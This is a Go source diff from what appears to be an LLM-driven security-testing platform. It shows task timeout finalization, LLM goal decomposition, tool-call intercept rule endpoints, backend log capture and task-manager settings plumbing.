return // 引擎整体关停
|
||||
}
|
||||
}
|
||||
|
||||
// ⑤ 终局一轮 planner(任务超时词,最后目标判定,不产新意图)。
|
||||
met := e.runFinalPlannerRound(ctx, t)
|
||||
|
||||
// ⑥ 定终态(带守卫):met → done(completed);否则 timeout。若常规路径已先落 done,
|
||||
// 守卫(SetTaskStatusGuarded)会拒绝覆盖,保留 completed 语义。
|
||||
status := "timeout"
|
||||
if met {
|
||||
status = "done"
|
||||
}
|
||||
won, err := e.m.SetTaskStatusGuarded(t.ID, status)
|
||||
switch {
|
||||
case err != nil:
|
||||
log.Printf("[deadline] task %s 落终态失败: %v", t.ID, err)
|
||||
case won:
|
||||
log.Printf("[deadline] task %s 收尾完成,终态=%s", t.ID, status)
|
||||
default:
|
||||
log.Printf("[deadline] task %s 收尾时已是终态,保留原状态", t.ID)
|
||||
}
|
||||
}
|
||||
|
||||
// runFinalPlannerRound drives exactly ONE terminal planner round with the
|
||||
// task-timeout planner words (final goal judgment; no new intents). Waits for the
|
||||
// LLM to be ready (bounded by ctx) so a completable task isn't mis-judged timeout.
|
||||
func (e *Engine) runFinalPlannerRound(ctx context.Context, t *Task) (met bool) {
|
||||
planner, _ := e.snapshotFor(t)
|
||||
for planner == nil {
|
||||
if sleepCtx(ctx, deadlinePollInterval) {
|
||||
return false
|
||||
}
|
||||
if isTerminalStatus(e.m.TaskStatus(t.ID)) {
|
||||
return false
|
||||
}
|
||||
planner, _ = e.snapshotFor(t)
|
||||
}
|
||||
emit := func(r db.Activity) { e.emitActivity(t, r) }
|
||||
e.emitActivity(t, db.Activity{Worker: "planner", Kind: "round",
|
||||
Summary: fmt.Sprintf("任务超时收尾·终局判定(第 %d 轮)", e.nextPlannerRound(t.ID))})
|
||||
// 独立 ctx(不挂 execCancel,避免 pause/硬 cancel 打断这最后一轮),带 Final 注入任务超时词。
|
||||
fctx := e.clockCtx(ctx, t, true)
|
||||
e.incInflight(t.ID)
|
||||
tTaskID, _ := strconv.ParseInt(t.ID, 10, 64)
|
||||
met, reason, err := planner.Plan(fctx, tTaskID, e.m.assets, t.Store, t.Goal, t.drainDone(), emit)
|
||||
e.decInflight(t.ID)
|
||||
if err != nil {
|
||||
log.Printf("[deadline] task %s 终局规划出错: %v", t.ID, err)
|
||||
} else if met {
|
||||
log.Printf("[deadline] task %s 终局判定目标达成: %s", t.ID, reason)
|
||||
}
|
||||
return met
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"strings"
|
||||
|
||||
"github.com/Autumn-27/artex/agent"
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
type goalSpec struct {
|
||||
Text string
|
||||
VulnClass string
|
||||
}
|
||||
|
||||
// createGoals materializes the goal node(s) under the task root (rel objective).
|
||||
// Decomposition is done ENTIRELY by the LLM (the project requires an LLM). There is
|
||||
// no rule-based fallback splitter — it only ever produced garbage (shredded URLs,
|
||||
// meaningless 2-way splits). If the LLM yields nothing (an error), the raw task goal
|
||||
// is used verbatim as a single goal so the task still has something to judge against.
|
||||
// Returns the seeded specs so callers can emit activity records for them.
|
||||
// emit, when non-nil, is forwarded to DecomposeGoals so LLM steps are visible in the UI.
|
||||
func (s *Server) createGoals(ctx context.Context, t *Task, emit func(db.Activity)) []goalSpec {
|
||||
// Use the SAME LLM the task runs on (its pinned profile, else the active profile),
|
||||
// NOT agent.FromEnv() — the LLM is configured via the UI (DB profile), not env vars,
|
||||
// so FromEnv returned empty and every task silently fell back to the crude rule
|
||||
// splitter (which shredded URLs / made meaningless 2-way splits).
|
||||
var specs []goalSpec
|
||||
if cfg, ok := s.goalsLLMConfig(t); ok {
|
||||
for _, g := range agent.DecomposeGoals(ctx, cfg, t.Goal, t.Description, emit) {
|
||||
if strings.TrimSpace(g.Text) != "" {
|
||||
specs = append(specs, goalSpec{Text: g.Text, VulnClass: g.VulnClass})
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(specs) == 0 {
|
||||
// No rule-based splitting: use the raw task goal verbatim as a single goal
|
||||
// (only reached on an LLM error — normal runs get real decomposed goals).
|
||||
if g := strings.TrimSpace(t.Goal); g != "" {
|
||||
log.Printf("[goals] task %s: LLM 目标拆解无产出，回退为「原始目标作为单目标」", t.ID)
|
||||
specs = []goalSpec{{Text: g}}
|
||||
}
|
||||
}
|
||||
origin, _ := t.Store.OriginFactID()
|
||||
for _, g := range specs {
|
||||
payload := map[string]any{"text": g.Text}
|
||||
if g.VulnClass != "" {
|
||||
payload["vulnclass"] = g.VulnClass
|
||||
}
|
||||
id, _ := t.Store.AddNode(db.KindGoal, payload, 0, "open", "system", nil)
|
||||
if origin > 0 && id > 0 {
|
||||
_ = t.Store.Link(origin, db.RelSpawns, id) // goals descend from the task root (origin fact)
|
||||
}
|
||||
}
|
||||
return specs
|
||||
}
|
||||
|
||||
// goalsLLMConfig resolves the LLM config for goal decomposition: the task's pinned
|
||||
// profile if any, else the global active profile (same source the engine runs on).
|
||||
func (s *Server) goalsLLMConfig(t *Task) (agent.Config, bool) {
|
||||
if t != nil && t.LLMProfileID != nil {
|
||||
if cfg, ok := s.loadProfileConfig(*t.LLMProfileID); ok {
|
||||
return cfg, true
|
||||
}
|
||||
}
|
||||
return s.loadLLMConfig()
|
||||
}
|
||||
@@ -0,0 +1,308 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"regexp"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
"github.com/Autumn-27/artex/guard"
|
||||
)
|
||||
|
||||
// chatGuard returns a guard wired with the manager's interceptor, used for chat
|
||||
// conversations. Called once per applyLLM so a new LLM config always gets a fresh guard.
|
||||
func (s *Server) chatGuard() *guard.Guard {
|
||||
return guard.NewWithInterceptor(s.m.interceptor)
|
||||
}
|
||||
|
||||
// --- intercept rule CRUD ---
|
||||
|
||||
func (s *Server) interceptListRules(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
rules, err := pg.ListInterceptRules()
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
if rules == nil {
|
||||
rules = []db.InterceptRule{}
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"rules": rules})
|
||||
}
|
||||
|
||||
func (s *Server) interceptCreateRule(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
var req interceptRuleReq
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
if err := validateInterceptRuleReq(req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
rule, err := pg.CreateInterceptRule(req.Name, req.MatchTarget, req.MatchType, req.Pattern, req.Action, req.Message, req.Priority, req.Enabled, req.TimeoutEnabled, req.TimeoutSeconds, req.TimeoutAction)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
s.m.interceptor.Invalidate()
|
||||
writeJSON(w, 200, rule)
|
||||
}
|
||||
|
||||
func (s *Server) interceptUpdateRule(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
id, ok := pathInt(r, "id")
|
||||
if !ok {
|
||||
writeErr(w, 400, "bad rule id")
|
||||
return
|
||||
}
|
||||
var req interceptRuleReq
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
if err := validateInterceptRuleReq(req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
rule, err := pg.UpdateInterceptRule(id, req.Name, req.MatchTarget, req.MatchType, req.Pattern, req.Action, req.Message, req.Priority, req.Enabled, req.TimeoutEnabled, req.TimeoutSeconds, req.TimeoutAction)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
s.m.interceptor.Invalidate()
|
||||
writeJSON(w, 200, rule)
|
||||
}
|
||||
|
||||
func (s *Server) interceptDeleteRule(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
id, ok := pathInt(r, "id")
|
||||
if !ok {
|
||||
writeErr(w, 400, "bad rule id")
|
||||
return
|
||||
}
|
||||
if err := pg.DeleteInterceptRule(id); err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
s.m.interceptor.Invalidate()
|
||||
writeJSON(w, 200, map[string]any{"deleted": id})
|
||||
}
|
||||
|
||||
func (s *Server) interceptToggleRule(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
id, ok := pathInt(r, "id")
|
||||
if !ok {
|
||||
writeErr(w, 400, "bad rule id")
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
if err := pg.ToggleInterceptRule(id, req.Enabled); err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
s.m.interceptor.Invalidate()
|
||||
writeJSON(w, 200, map[string]any{"ok": true, "enabled": req.Enabled})
|
||||
}
|
||||
|
||||
// --- pending (ask) ---
|
||||
|
||||
func (s *Server) interceptListPending(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
pending, err := pg.ListPendingIntercepts()
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
if pending == nil {
|
||||
pending = []db.InterceptPending{}
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"pending": pending})
|
||||
}
|
||||
|
||||
func (s *Server) interceptGetOne(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
id, ok := pathInt(r, "id")
|
||||
if !ok {
|
||||
writeErr(w, 400, "bad pending id")
|
||||
return
|
||||
}
|
||||
p, err := pg.GetInterceptPending(id)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
if p == nil {
|
||||
writeErr(w, 404, "not found")
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, p)
|
||||
}
|
||||
|
||||
func (s *Server) interceptListTaskItems(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
taskID := r.PathValue("taskID")
|
||||
if taskID == "" {
|
||||
writeErr(w, 400, "bad task id")
|
||||
return
|
||||
}
|
||||
items, err := pg.ListTaskIntercepts(taskID)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
if items == nil {
|
||||
items = []db.InterceptApprovalRow{}
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"items": items})
|
||||
}
|
||||
|
||||
func (s *Server) interceptHistory(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
items, err := pg.ListAllIntercepts(200)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
if items == nil {
|
||||
items = []db.InterceptApprovalRow{}
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"items": items})
|
||||
}
|
||||
|
||||
func (s *Server) interceptDecide(w http.ResponseWriter, r *http.Request) {
|
||||
id, ok := pathInt(r, "id")
|
||||
if !ok {
|
||||
writeErr(w, 400, "bad pending id")
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
Decision string `json:"decision"` // "allowed" | "denied"
|
||||
}
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
if req.Decision != "allowed" && req.Decision != "denied" {
|
||||
writeErr(w, 400, "decision 必须是 allowed 或 denied")
|
||||
return
|
||||
}
|
||||
if err := s.m.interceptor.Decide(id, req.Decision == "allowed"); err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
// --- tool-config (全局工具拦截范围) ---
|
||||
|
||||
// interceptGetToolConfig returns the list of tool names that are currently
|
||||
// configured to enter the intercept rule system.
|
||||
func (s *Server) interceptGetToolConfig(w http.ResponseWriter, r *http.Request) {
|
||||
tools, err := s.m.interceptor.GetEnabledTools()
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"enabled_tools": tools})
|
||||
}
|
||||
|
||||
// interceptSetToolConfig replaces the list of tool names that should enter
|
||||
// the intercept rule system.
|
||||
func (s *Server) interceptSetToolConfig(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
EnabledTools []string `json:"enabled_tools"`
|
||||
}
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
if req.EnabledTools == nil {
|
||||
req.EnabledTools = []string{}
|
||||
}
|
||||
if err := s.m.interceptor.SetEnabledTools(req.EnabledTools); err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
// --- helpers ---
|
||||
|
||||
type interceptRuleReq struct {
|
||||
Name string `json:"name"`
|
||||
Enabled bool `json:"enabled"`
|
||||
Priority int `json:"priority"`
|
||||
MatchTarget string `json:"match_target"`
|
||||
MatchType string `json:"match_type"`
|
||||
Pattern string `json:"pattern"`
|
||||
Action string `json:"action"`
|
||||
Message string `json:"message"`
|
||||
TimeoutEnabled bool `json:"timeout_enabled"`
|
||||
TimeoutSeconds int `json:"timeout_seconds"`
|
||||
TimeoutAction string `json:"timeout_action"`
|
||||
}
|
||||
|
||||
func validateInterceptRuleReq(req interceptRuleReq) error {
|
||||
if req.Name == "" {
|
||||
return fmt.Errorf("name 不能为空")
|
||||
}
|
||||
switch req.MatchTarget {
|
||||
case "tool_name", "tool_input":
|
||||
default:
|
||||
return fmt.Errorf("match_target 必须是 tool_name 或 tool_input")
|
||||
}
|
||||
switch req.MatchType {
|
||||
case "string", "regex":
|
||||
default:
|
||||
return fmt.Errorf("match_type 必须是 string 或 regex")
|
||||
}
|
||||
if req.Pattern == "" {
|
||||
return fmt.Errorf("pattern 不能为空")
|
||||
}
|
||||
switch req.Action {
|
||||
case "allow", "deny", "ask":
|
||||
default:
|
||||
return fmt.Errorf("action 必须是 allow、deny 或 ask")
|
||||
}
|
||||
if req.MatchType == "regex" {
|
||||
if _, err := regexp.Compile(req.Pattern); err != nil {
|
||||
return fmt.Errorf("pattern 不是有效正则：%w", err)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,226 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// LogLine is one captured backend log entry exposed by the /api/logs endpoints.
|
||||
type LogLine struct {
|
||||
Seq int64 `json:"seq"`
|
||||
DBID int64 `json:"db_id,omitempty"` // server_logs.id; 0 for pre-persistence entries
|
||||
TS string `json:"ts"`
|
||||
Level string `json:"level"` // info | warn | error
|
||||
Tag string `json:"tag"` // the leading [tag] (pg / planner / activity / …), if any
|
||||
Text string `json:"text"`
|
||||
}
|
||||
|
||||
// dbWriteReq carries a log line to the async DB writer.
|
||||
type dbWriteReq struct {
|
||||
seq int64
|
||||
ll LogLine
|
||||
}
|
||||
|
||||
// logSinkT tees the standard logger into an in-memory ring buffer and fans new
|
||||
// lines out to SSE subscribers, so the UI can show a live backend log stream.
|
||||
// It still passes everything through to stderr (the terminal keeps working).
|
||||
type logSinkT struct {
|
||||
mu sync.Mutex
|
||||
ring []LogLine
|
||||
cap int
|
||||
seq int64
|
||||
subs map[chan LogLine]struct{}
|
||||
out io.Writer // passthrough (stderr)
|
||||
|
||||
dbOnce sync.Once
|
||||
dbCh chan dbWriteReq // buffered async channel; nil until SetDB is called
|
||||
}
|
||||
|
||||
var logSink = &logSinkT{cap: 3000, subs: map[chan LogLine]struct{}{}, out: os.Stderr}
|
||||
|
||||
// StartLogCapture redirects the standard log package through the in-memory sink
|
||||
// (still writing to stderr). Call once at startup, as early as possible.
|
||||
func StartLogCapture() { log.SetOutput(logSink) }
|
||||
|
||||
// SetDB wires a postgres DB into the sink once (idempotent). It:
|
||||
// 1. Restores the last 100 log rows from DB into the ring so the /logs page
|
||||
// shows history immediately after restart.
|
||||
// 2. Starts an async goroutine that persists every subsequent log line to DB.
|
||||
func (s *logSinkT) SetDB(ctx context.Context, pg *db.DB) {
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
s.dbOnce.Do(func() {
|
||||
ch := make(chan dbWriteReq, 2000)
|
||||
s.mu.Lock()
|
||||
s.dbCh = ch
|
||||
s.mu.Unlock()
|
||||
|
||||
// Restore last 100 rows from DB → prepend to ring as history context.
|
||||
if logs, err := pg.RecentLogs(100); err == nil && len(logs) > 0 {
|
||||
s.mu.Lock()
|
||||
restored := make([]LogLine, 0, len(logs))
|
||||
for _, l := range logs {
|
||||
s.seq++
|
||||
restored = append(restored, LogLine{
|
||||
Seq: s.seq,
|
||||
DBID: l.ID,
|
||||
TS: l.CreatedAt.Format(time.RFC3339),
|
||||
Level: l.Level,
|
||||
Tag: l.Tag,
|
||||
Text: l.Text,
|
||||
})
|
||||
}
|
||||
// Prepend history before any in-memory startup logs already in ring.
|
||||
s.ring = append(restored, s.ring...)
|
||||
if len(s.ring) > s.cap {
|
||||
s.ring = s.ring[len(s.ring)-s.cap:]
|
||||
}
|
||||
s.mu.Unlock()
|
||||
}
|
||||
|
||||
// Async writer: picks from channel and inserts into server_logs.
|
||||
// Uses os.Stderr directly to report errors and avoids recursive log calls.
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case req, ok := <-ch:
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
id, err := pg.InsertLog(req.ll.Level, req.ll.Tag, req.ll.Text)
|
||||
if err != nil {
|
||||
_, _ = os.Stderr.Write([]byte("[logsink] db write: " + err.Error() + "\n"))
|
||||
continue
|
||||
}
|
||||
// Stamp DBID back into the ring entry so history pagination works.
|
||||
s.mu.Lock()
|
||||
for i := range s.ring {
|
||||
if s.ring[i].Seq == req.seq {
|
||||
s.ring[i].DBID = id
|
||||
break
|
||||
}
|
||||
}
|
||||
s.mu.Unlock()
|
||||
case <-ctx.Done():
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
})
|
||||
}
|
||||
|
||||
// Write implements io.Writer for the log package: one call per log.Printf line.
|
||||
func (s *logSinkT) Write(p []byte) (int, error) {
|
||||
_, _ = s.out.Write(p) // keep the terminal output
|
||||
line := strings.TrimRight(string(p), "\n")
|
||||
if strings.TrimSpace(line) != "" {
|
||||
s.add(parseLog(line))
|
||||
}
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
func (s *logSinkT) add(l LogLine) {
|
||||
s.mu.Lock()
|
||||
s.seq++
|
||||
l.Seq = s.seq
|
||||
s.ring = append(s.ring, l)
|
||||
if len(s.ring) > s.cap {
|
||||
s.ring = s.ring[len(s.ring)-s.cap:]
|
||||
}
|
||||
ch := s.dbCh
|
||||
subs := make([]chan LogLine, 0, len(s.subs))
|
||||
for sub := range s.subs {
|
||||
subs = append(subs, sub)
|
||||
}
|
||||
s.mu.Unlock()
|
||||
|
||||
// Async DB write (non-blocking; drops if channel is full under extreme load).
|
||||
if ch != nil {
|
||||
select {
|
||||
case ch <- dbWriteReq{seq: l.Seq, ll: l}:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
for _, sub := range subs {
|
||||
select {
|
||||
case sub <- l:
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// recent returns ring lines with Seq > since (capped to limit), and the latest seq.
|
||||
func (s *logSinkT) recent(since int64, limit int) (lines []LogLine, cursor int64) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
cursor = s.seq
|
||||
if limit <= 0 || limit > s.cap {
|
||||
limit = s.cap
|
||||
}
|
||||
for _, l := range s.ring {
|
||||
if l.Seq > since {
|
||||
lines = append(lines, l)
|
||||
}
|
||||
}
|
||||
if len(lines) > limit {
|
||||
lines = lines[len(lines)-limit:]
|
||||
}
|
||||
return lines, cursor
|
||||
}
|
||||
|
||||
func (s *logSinkT) subscribe() (<-chan LogLine, func()) {
|
||||
ch := make(chan LogLine, 256)
|
||||
s.mu.Lock()
|
||||
s.subs[ch] = struct{}{}
|
||||
s.mu.Unlock()
|
||||
var once sync.Once
|
||||
return ch, func() {
|
||||
once.Do(func() {
|
||||
s.mu.Lock()
|
||||
delete(s.subs, ch)
|
||||
s.mu.Unlock()
|
||||
close(ch)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// parseLog pulls a level + [tag] out of a standard-logger line; the timestamp is
|
||||
// the capture time (RFC3339).
|
||||
func parseLog(line string) LogLine {
|
||||
msg := line
|
||||
// strip the "2006/01/02 15:04:05" LstdFlags prefix if present
|
||||
if len(msg) >= 20 && msg[4] == '/' && msg[7] == '/' && msg[10] == ' ' {
|
||||
msg = strings.TrimSpace(msg[19:])
|
||||
}
|
||||
tag := ""
|
||||
if strings.HasPrefix(msg, "[") {
|
||||
if i := strings.IndexByte(msg, ']'); i > 1 {
|
||||
tag = msg[1:i]
|
||||
}
|
||||
}
|
||||
return LogLine{TS: time.Now().Format(time.RFC3339), Level: levelOf(msg), Tag: tag, Text: msg}
|
||||
}
|
||||
|
||||
func levelOf(msg string) string {
|
||||
low := strings.ToLower(msg)
|
||||
for _, k := range []string{"fatal", "panic", "error", "err:", "失败", "丢弃", "拒绝", "✕", "不可达"} {
|
||||
if strings.Contains(low, k) {
|
||||
return "error"
|
||||
}
|
||||
}
|
||||
for _, k := range []string{"warn", "disabled", "禁用", "skip", "stopped", "⚠", "重试"} {
|
||||
if strings.Contains(low, k) {
|
||||
return "warn"
|
||||
}
|
||||
}
|
||||
return "info"
|
||||
}
|
||||
@@ -0,0 +1,689 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
"github.com/Autumn-27/artex/agent"
|
||||
pgdb "github.com/Autumn-27/artex/db"
|
||||
"github.com/Autumn-27/artex/enrich"
|
||||
"github.com/Autumn-27/artex/guard"
|
||||
"github.com/Autumn-27/artex/intercept"
|
||||
"github.com/Autumn-27/artex/traffic"
|
||||
)
|
||||
|
||||
// Task is one engagement: a description + goal + its own exploration store,
|
||||
// sharing the process-wide asset store. ID is the PG task id as a string; ExpID
|
||||
// is the exploration the task owns.
|
||||
type Task struct {
|
||||
ID string `json:"id"`
|
||||
ExpID int64 `json:"exploration_id"`
|
||||
Description string `json:"description"`
|
||||
Goal string `json:"goal"`
|
||||
CreatedAt int64 `json:"created_at"`
|
||||
CompletedAt int64 `json:"completed_at,omitempty"` // 进入终态的 unix 秒;0=未完成
|
||||
Paused bool `json:"paused"`
|
||||
ParentRef string `json:"parent_ref,omitempty"` // 父任务 id(编排 spawn 记录)
|
||||
LLMProfileID *int64 `json:"llm_profile_id,omitempty"` // 指定运行本任务 planner/worker 的 LLM 配置;nil=用全局激活配置
|
||||
Status string `json:"status"` // persisted lifecycle status (done/failed/timeout 为终态；空/其它则由运行态推导)
|
||||
// 任务级超时(见 docs/任务级超时与收尾设计.md)。DeadlineAt/FirstRunAt 为 unix 秒,0=未设/未运行。
|
||||
TimeoutSeconds int `json:"timeout_seconds"`
|
||||
FirstRunAt int64 `json:"first_run_at,omitempty"`
|
||||
DeadlineAt int64 `json:"deadline_at,omitempty"`
|
||||
Store *pgdb.ExplorationStore `json:"-"`
|
||||
Guard *guard.Guard `json:"-"`
|
||||
notify chan struct{}
|
||||
|
||||
// doneIntents accumulates the ids of intents that completed since the last
|
||||
// planning round consumed them. The debounce coalesces a burst of completions
|
||||
// into one round, so several ids may pile up before drainDone() clears them.
|
||||
doneMu sync.Mutex
|
||||
doneIntents []int64
|
||||
}
|
||||
|
||||
// Manager owns the PostgreSQL data source (asset graph + every task's exploration
|
||||
// graph + config) and the in-memory set of task handles.
|
||||
type Manager struct {
|
||||
dir string
|
||||
pg *pgdb.DB
|
||||
assets *pgdb.AssetStore
|
||||
traffic *traffic.Traffic // process-wide recording proxy (may be nil)
|
||||
enrich *enrich.Engine // engine-side asset auto-completion (DNS/HTTP)
|
||||
interceptor *intercept.Interceptor // user-configured tool-call interception rules
|
||||
|
||||
mu sync.RWMutex
|
||||
tasks map[string]*Task
|
||||
active string
|
||||
trafficOn bool // 流量捕获开关（默认关；settings.traffic_capture）
|
||||
// 联网搜索开关与来源（默认关；settings.web_search_*）。brave-free 需要 braveKey；tavily 需要 tavilyKey。
|
||||
// webSearchProxy 是独立出口代理(http/https/socks5)，与记录流量的 MITM 代理无关。
|
||||
webSearchOn bool
|
||||
webSearchBackend string
|
||||
braveKey string
|
||||
tavilyKey string
|
||||
webSearchProxy string
|
||||
}
|
||||
|
||||
// Settings keys the UI toggles at runtime.
|
||||
const (
|
||||
settingTrafficCapture = "traffic_capture"
|
||||
settingWebSearchOn = "web_search_enabled"
|
||||
settingWebSearchBackend = "web_search_backend"
|
||||
settingBraveKey = "brave_search_api_key"
|
||||
settingTavilyKey = "tavily_search_api_key"
|
||||
settingWebSearchProxy = "web_search_proxy"
|
||||
settingWorkers = "workers"
|
||||
// defaultWebSearchBackend is used when web search is on but no backend was picked.
|
||||
defaultWebSearchBackend = "ddgs"
|
||||
// defaultWorkers is the concurrent work-agent count when the setting is unset.
|
||||
defaultWorkers = 3
|
||||
)
|
||||
|
||||
// Workers returns the configured concurrent work-agent count (default 3). Read
|
||||
// per-task at engine.Run, so a change applies to tasks started afterwards.
|
||||
func (m *Manager) Workers() int {
|
||||
v, ok, err := m.pg.GetSetting(settingWorkers)
|
||||
if err != nil || !ok {
|
||||
return defaultWorkers
|
||||
}
|
||||
n, err := strconv.Atoi(strings.TrimSpace(v))
|
||||
if err != nil || n <= 0 {
|
||||
return defaultWorkers
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
// SetWorkers persists the concurrent work-agent count. Values <=0 are rejected.
|
||||
func (m *Manager) SetWorkers(n int) error {
|
||||
if n <= 0 {
|
||||
return fmt.Errorf("workers 必须 >0")
|
||||
}
|
||||
return m.pg.SetSetting(settingWorkers, strconv.Itoa(n))
|
||||
}
|
||||
|
||||
// Enrich returns the asset auto-completion engine (may be nil if init failed).
|
||||
func (m *Manager) Enrich() *enrich.Engine { return m.enrich }
|
||||
|
||||
// NewManager connects to PostgreSQL and, if proxyAddr is non-empty, starts the
|
||||
// traffic-recording proxy. PostgreSQL is required (it is the single data source).
|
||||
func NewManager(dir, proxyAddr string) (*Manager, error) {
|
||||
// Resolve the data dir to an ABSOLUTE path up front. Every data path derives
|
||||
// from it — notably the MITM CA cert, whose path is injected into worker shells
|
||||
// (SSL_CERT_FILE/CURL_CA_BUNDLE) and read by WebFetch. A relative path (the
|
||||
// default is "./data" under `go run`) only resolves when the current working
|
||||
// directory happens to match, so curl/WebFetch in a different CWD fail to load
|
||||
// the CA → TLS to the proxy breaks (curl 000 / EOF). Absolute makes it CWD-proof.
|
||||
if abs, err := filepath.Abs(dir); err == nil {
|
||||
dir = abs
|
||||
}
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dsn, source, err := pgdb.DSN()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
log.Printf("[pg] 数据库配置来源: %s", source)
|
||||
pg, err := pgdb.Open(dsn)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
m := &Manager{dir: dir, pg: pg, assets: pg.Assets(), tasks: map[string]*Task{}, interceptor: intercept.New(pg)}
|
||||
if proxyAddr != "" {
|
||||
tr, err := traffic.Open(filepath.Join(dir, "traffic"), proxyAddr)
|
||||
if err != nil {
|
||||
log.Printf("[traffic] disabled: %v", err)
|
||||
} else {
|
||||
m.traffic = tr
|
||||
go func() {
|
||||
log.Printf("[traffic] recording proxy on %s (set HTTP_PROXY=%s + trust _ca CA)", proxyAddr, tr.ProxyAddr())
|
||||
if err := tr.Start(); err != nil {
|
||||
log.Printf("[traffic] proxy stopped: %v", err)
|
||||
}
|
||||
}()
|
||||
}
|
||||
}
|
||||
// Asset auto-completion engine (§5): HTTP probes routed through the recording
|
||||
// proxy (via m.ProxyAddr, which honors the traffic-capture toggle).
|
||||
m.trafficOn = pg.GetBool(settingTrafficCapture, false)
|
||||
// Load persisted web-search config (default: off, ddgs).
|
||||
m.webSearchOn = pg.GetBool(settingWebSearchOn, false)
|
||||
if v, ok, _ := pg.GetSetting(settingWebSearchBackend); ok && v != "" {
|
||||
m.webSearchBackend = v
|
||||
